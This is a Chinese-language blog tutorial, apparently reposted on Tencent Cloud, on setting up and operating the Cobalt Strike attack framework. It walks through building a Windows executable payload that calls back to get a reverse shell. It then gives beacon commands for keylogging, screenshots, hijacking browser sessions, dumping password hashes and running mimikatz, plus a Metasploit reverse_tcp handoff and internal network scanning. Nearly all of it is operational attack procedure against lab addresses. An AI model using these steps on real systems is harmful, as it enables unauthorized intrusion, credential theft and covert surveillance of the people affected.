请注意,本文编写于 560 天前,最后修改于 542 天前,其中某些信息可能已经过时。
介绍
Cobalt Strike
一款以metasploit为基础的GUI的框框架式渗透工具,Armitage的商业版,集成了端口发、服务扫描,自动化溢出,多模式端口监听,win exe木马生成,win dll木马生成,java木马生成,office宏病毒生成,木马捆绑,mac os木马生成,钓鱼攻击包括:站点克隆,目标信息获取,java执行,游览器自动攻击等等。
Cobalt Strike
采用的是服务器端 客户端的模式,可以支持多客户端同时进行工作
安装环境
点击访问
解压缩文件并移动至/opt
代码语言:javascript复制tar -xzvf jdk-8u91-linux-x64.tar.gz
mv jdk1.8.0_91 /opt
cd /opt/jdk1.8.0_91
设置环境变量
代码语言:javascript复制执行 gedit ~/.bashrc , 并添加下列内容
# install JAVA JDK
export JAVA_HOME=/opt/jdk1.8.0_91
export CLASSPATH=.:${JAVA_HOME}/lib
export PATH=${JAVA_HOME}/bin:$PATH
保存退出
执行 source ~/.bashrc
安装并注册
代码语言:javascript复制update-alternatives --install /usr/bin/java java /opt/jdk1.8.0_91/bin/java 1
update-alternatives --install /usr/bin/javac javac /opt/jdk1.8.0_91/bin/javac 1
update-alternatives --set java /opt/jdk1.8.0_91/bin/java
update-alternatives --set javac /opt/jdk1.8.0_91/bin/javac
测试
输入命令java -version
目录结构
agscript
拓展应用的脚本
c2lint
用于检查profile的错误异常
teamserver
服务端程序
cobaltstrike
,cobaltstrike.jar
客户端程序(java跨平台)
logs
目录记录与目标主机的相关信息
update
,update.jar
用于更新CS
third-party
第三方工具
启动服务端
启动参数 ./teamserver <host> <password> [/path/to/c2.profile] [YYYY-MM-DD]
- 必填参数host 本服务器外网IP/域名
- 必填参数password Client GUI连接时需要输入的密码
- 可选参数Malleable C2 communication profile 指定C2通信配置文件 该功能体现了CS的强大扩展性
- 可选参数kill date 指定所有payload的终止日期
这里用 ./teamserver 192.168.0.120(本机ip) 123456(登入密码)
客户端链接
启动CS Client GUI ./cobaltstrike
输入服务端的IP以及端口、密码,用户名可以任意设置。
使用
顶部菜单 主要使用View
和Attack
Cobalt Strike
代码语言:javascript复制New Connection #进行另外一个连接,支持连接多个服务器端
Preferences #设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录。
Visualization #主要展示输出结果的形式
VPN Interfaces #设置VPN接口
Listenrs #创建一个Listener
Script Manager #脚本管理
Close #退出连接
View
代码语言:javascript复制Applications #显示受害者机器的应用信息
Credentials #凭证当通过 hashdump 或者 Mimikatz 抓取过的密码都会储存在这里。
Downloads #下载文件
Event Log #主机上线记录以及团队协作聊天记录
Keystrokes #键盘记录
Proxy Pivots #代理模块
Screenshots #截图
Script Console #控制台,在这里可以加载各种脚本
(https://github.com/rsmudge/cortana-scripts 增强功能)
Targets #显示目标
Web Log #Web访问记录
Attacks
Packages
代码语言:javascript复制HTML Application #生成恶意的HTA木马文件
MS Office Macro #生成office宏病毒文件
Payload Generator #生成各种语言版本的payload
USB/CD AutoPlay #生成利用自动播放运行的木马文件
Windows Dropper #捆绑器,能够对文档类进行捆绑
Windows Executable #生成可执行exe木马
Windows Executable(S) #生成无状态的可执行exe木马
Web Drive-by
代码语言:javascript复制Manage #对开启的web服务进行管理
Clone Site #克隆网站,可以记录受害者提交的数据
Host File #提供一个文件下载,可以修改Mime信息
PowerShell Web Delivery #类似于Metasploit的web_delivery
Signed Applet Attack #使用java自签名的程序进行钓鱼攻击
Smart Applet Attack #自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本
System Profiler #用来获取一些系统信息,比如系统版本,Flash版本,浏览器版本等
Spear Phish #用来邮件钓鱼的模块
Reporting
代码语言:javascript复制activity report #活动报告
Hosts report #主机报告
Indicators of Compromise #目标报告
Sessions report #会话报告
Social engineering report #社会工程报告
Export data #数据出口
help
代码语言:javascript复制Homepage #官方主页
Support #技术支持
Arsenal #开发者
System information #版本信息
About #关于
配置监听器
首先配置监听器:
点击上方Cobalt Strike
选项——>在下拉框中选择listeners
——>在下方弹出区域中单机add
name:为监听器名字。
选择payload类型
host为shell反弹接受主机(服务端IP)
port为反弹端口
监听器的作用很简单,主要是为了接受payload
回传的各类数据
比如,我们的payload
在目标机器执行以后,会回连到监听器然后下载执行真正的shellcode代码,其实跟msf
中handler的作用基本是一致的
beacon
为cs内置监听器,也就是说,当我们在目标系统成功执行payload以后,会弹回一个beacon的shell给cs 该shell所支持的通信协议主要包括这几种,dns,https,http,smbpipe,另外,beacon shell的内置功能也非常多
foreign
主要是提供给外部使用的一些监听器,比如你想利用cs派生一个meterpreter的shell回来,来继续后面的内网渗透,这时就选择使用外部监听器
生成payload
点击attacks——>packages——>windows executable
代码语言:javascript复制listener为监听器名字
output为输出靶机类型。
点击generate弹出的对话框中选择保存位置和输入payload名字。
在windows靶机中运行文件artifact.exe
得到反弹shell
主机上线以后需要将默认心跳包改成0,cobalt strike
为了维持连接,会每60秒发送一次连接,但是如果使用的话60秒会造成卡顿。
修改方法:右键弹出的内容下拉菜单中选择session->sleep,弹出的对话框中输入0,单击确定
beacon模块之shell命令
格式 shell 命令
其它命令
代码语言:javascript复制help 查看beacon shell所有内置命令帮助,如果想查看指定命令的用法,可以这样help upload
note 给当前目录机器起个名字, note beacon-shell
cd 在目标系统中切换目录,注意在win系统中切换目录要用双反斜杠,或者直接用'/' cd c:
mkdir 新建目录, mkdir d:beacon
rm 删除文件或目录, rm d:beacon
upload 上传文件到目标系统中
download 从目标系统下载指定文件, download C:Userswin7cnDesktopputty.exe
cancel 取消下载任务,比如,一个文件如果特别大,下载可能会非常耗时,假如中途你不想继续下了,就可以用这个取消一下
shell 在目标系统中执行指定的cmd命令, shell whoami
getuid 查看当前beacon 会话在目标系统中的用户权限,可能需要bypassuac或者提权
pwd 查看当前在目录系统中的路径
ls 列出当前目录下的所有文件和目录
drives 列表出目标系统的所有分区[win中叫盘符]
ps 查看目标系统当前的所有的进程列表
kill 杀掉指定进程, kill 4653
sleep 10 指定被控端休眠时间,默认60秒一次回传,让被控端每10秒来下载一次任务,实际中频率不宜过快,容易被发现,80左右一次即可
jobs 列出所有的任务列表,有些任务执行时间可能稍微较长,此时就可以从任务列表中看到其所对应的具体任务id,针对性的清除
jobkill 如果发现任务不知是何原因长时间没有执行或者异常,可尝试用此命令直接结束该任务, jobkill 1345
clear 清除beacon内部的任务队列
checkin 强制让被控端回连一次
exit 终止当前beacon 会话
ctrl k 清屏
beacon模块之browserpivot命令
用户注入受害者浏览器进程,然后开启HTTP代理,之后就可以登录受害者登录的网站了
官方说暂时只对IE好使,而且还不稳定,成功率一半一半吧,
代码语言:javascript复制ps //查看进程,这里进程为1676
代码语言:javascript复制browserpivot 1676 //注入进程,并开启http代理,代理服务器为: 192.168.0.120:2110
代码语言:javascript复制browserpivot stop //停止代理
beacon模块之Screenshot
代码语言:javascript复制screenshot //运行屏幕截屏命令
代码语言:javascript复制screenshot 10 截取10秒 //可能会造成目标系统有很明显的卡顿
然后打开View->Screenshots,则可以看到屏幕截图
beacon模块之Keylogger
代码语言:javascript复制ps //查看系统进程,随便选择一个程序的进程PID
keylogger PID //键盘记录注入进程
打开View->Keystrokes,则可以看到键盘记录结果
beacon模块之密码读取
代码语言:javascript复制hashdump //读取账号hash密码值,需要administer权限,右击受害者主机--access-hashdump
代码语言:javascript复制logonpasswords //运行mimikatz, 右击受害者主机--access- RUN mimikatz
Cobalt Strike与msf的配合使用
在msf执行
代码语言:javascript复制 use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 192.168.0.120(本机ip)
set lport 4444
exploit
在Cobalt Strik中执行,先添加一个监听命令,名称为:msf payload选择:windows/foreign/reverse_tcp 监听端口:4444
选择受害者主机,然后右击Spawn
成功反弹
灵活穿透目标内网
对目标机器所在的内网进行常规端口扫描,指定ip段,指定用于扫描的协议暂只支持arp,icmp,tcp,指定线程
代码语言:javascript复制portscan 192.168.0.114 22 arp 10
利用beacon shell连接内网中的linux机器
代码语言:javascript复制ssh ip 账号 密码
通过powershell来增强cs的实用性
在beacon shell中导入外部ps脚本到远程机器上
代码语言:javascript复制powershell-import /root/test.ps1 //导入各种powershell脚本,这里可以导入nishang模块
powershell posershell脚本名
在beacon shell中直接执行powershell代码
代码语言:javascript复制powerpick Get-Host
版权属于:Xcnte' s Blog(除特别注明外)
本文链接:https://cloud.tencent.com/developer/article/1918403
本站文章采用 知识共享署名4.0 国际许可协议 进行许可,请在转载时注明出处及本声明!